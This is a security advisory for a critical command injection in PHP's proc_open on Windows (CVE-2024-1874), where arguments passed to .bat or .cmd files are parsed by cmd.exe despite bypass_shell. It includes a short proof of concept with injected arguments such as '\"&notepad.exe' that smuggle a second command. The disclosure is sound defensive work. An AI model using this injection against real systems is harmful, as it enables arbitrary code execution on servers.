Skip to content

Command injection via array-ish $command parameter of proc_open even if bypass_shell option enabled on Windows

Critical
bukka published GHSA-pc52-254m-w9w7 Apr 11, 2024

Package

No package listed

Affected versions

< 8.1.28
< 8.2.18
< 8.3.5

Patched versions

8.1.28
8.2.18
8.3.6

Description

Summary

NOTE: There are undergoing reports regarding the command injection when executing the batch file, and several programming languages are coordinating the disclosure date. If you decide to not consider this as a vulnerability, please do not disclose this behavior until the end of February. If the coordinated disclosure is needed, please let me know.

Due to the improper handling of command line arguments on Windows, maliciously crafted arguments can inject arbitrary commands even if the bypass_shell option is enabled.

Details

proc_open executes external commands passed via its arguments. The documentation of this function states the following:

As of PHP 7.4.0, the command may be passed as an array of command parameters. In this case, the process will be opened directly (without going through a shell) and PHP will take care of any necessary argument escaping. 
bypass_shell (windows only): bypass cmd.exe shell when set to true

However, when executing .bat or .cmd files, CreateProcess implicitly spawns cmd.exe, resulting in command line arguments being parsed in cmd.exe despite the documentation explicitly stating it doesn't spawn the shell.
While proc_open tries to escape the arguments, command prompts will not recognize \ as the escape character. So, the following command line argument will spawn calc.exe:

test.bat "\"&calc.exe"

PoC

  1. Save the following file as test.bat.
echo hello
  1. Save the following file as test.php
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&notepad.exe"], $descriptorspec, $pipes);
proc_close($proc);
  1. Run it with PHP and confirm that notepad.exe is executed.

Alternatively, you can use the following PHP file to confirm that the bypass_shell option doesn't prevent this behavior.

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&notepad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);

Impact

This vulnerability allows malicious command line arguments to execute arbitrary commands if it's passed to .bat or .cmd through proc_open.
Since command line arguments are not expected to be parsed via the shell, it allows unexpected code execution.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

CVE ID

CVE-2024-1874

Weaknesses

No CWEs

Credits